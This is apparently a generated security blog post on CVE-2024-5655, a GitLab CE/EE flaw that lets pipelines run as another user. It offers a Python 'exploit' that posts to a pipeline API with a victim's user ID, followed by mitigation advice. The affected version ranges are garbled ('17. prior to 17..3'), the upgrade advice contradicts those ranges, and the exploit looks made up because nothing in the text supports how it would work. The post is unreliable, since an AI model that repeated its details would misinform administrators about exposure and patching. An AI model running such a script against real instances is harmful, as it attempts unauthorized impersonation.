CVE-2024-5655 - Exploiting GitLab CE/EE to Trigger Pipeline as Another User

A critical vulnerability (CVE-2024-5655) has been discovered in GitLab Community Edition (CE) and Enterprise Edition (EE) that affects all versions starting from 15.8 prior to 16.11.5, starting from 17. prior to 17..3, and starting from 17.1 prior to 17.1.1. This security flaw allows an attacker to trigger a pipeline as another user under certain circumstances. In this post, we'll dive into the details of this vulnerability, analyze its impact, and discuss how to mitigate the risk associated with it.

Exploit Details

The vulnerability stems from a lack of proper access controls on pipeline triggering in GitLab CE/EE. A malicious user can exploit this issue to gain unauthorized access to sensitive data by impersonating other users and running the pipeline under their credentials.

Here's a simple code snippet that demonstrates this exploit

# Exploit: CVE-2024-5655 - Trigger GitLab Pipeline as Another User

import requests

# Replace with the target GitLab instance API URL
GITLAB_API_URL = "https://gitlab.example.com/api/v4";

# Replace with your private token (attacker's token)
PRIVATE_TOKEN = "<YOUR_PRIVATE_TOKEN>"

# Replace with the target project ID and user ID (of the victim)
TARGET_PROJECT_ID = 123
TARGET_USER_ID = 456

headers = {
    "PRIVATE-TOKEN": PRIVATE_TOKEN
}

# Trigger a new pipeline
url = f"{GITLAB_API_URL}/projects/{TARGET_PROJECT_ID}/pipeline?user_id={TARGET_USER_ID}"
response = requests.post(url, headers=headers)

if response.status_code == 201:
    print("Pipeline triggered successfully!")
else:
    print("Failed to trigger pipeline.")

By exploiting this vulnerability, an attacker can potentially trigger and execute a malicious pipeline that could have severe consequences, such as compromising the entire GitLab instance or exposing sensitive data.

Original References

1. GitLab Security Advisory: CVE-2024-5655
2. GitLab Issue: Trigger Pipeline as Another User

Mitigation

To address this issue, GitLab has released security patches for the affected versions. It is highly recommended to upgrade your GitLab instance to one of the following versions:

17.1.1 or later

Make sure to follow the official GitLab upgrade documentation to update your instance safely.

Additionally, it is crucial to implement proper access controls and maintain a strict user permission model on your GitLab instance. Be sure to review and monitor user access regularly to reduce the risk associated with unauthorized actions.

Another good security practice is to enable logging, monitoring, and alerting on your GitLab instance. This helps identify any suspicious activity and allows you to detect and respond to potential threats in a timely manner.

Conclusion

The CVE-2024-5655 vulnerability poses a significant risk to GitLab CE/EE users as it allows an attacker to trigger a pipeline as another user under certain circumstances. It is essential to apply the latest security patches and maintain a strong security posture for your GitLab instance to protect against this and other potential threats. Always stay informed about security vulnerabilities and best practices to ensure the safety and integrity of your systems.

Timeline

Published on: 06/27/2024 00:15:12 UTC
Last modified on: 06/28/2024 13:16:40 UTC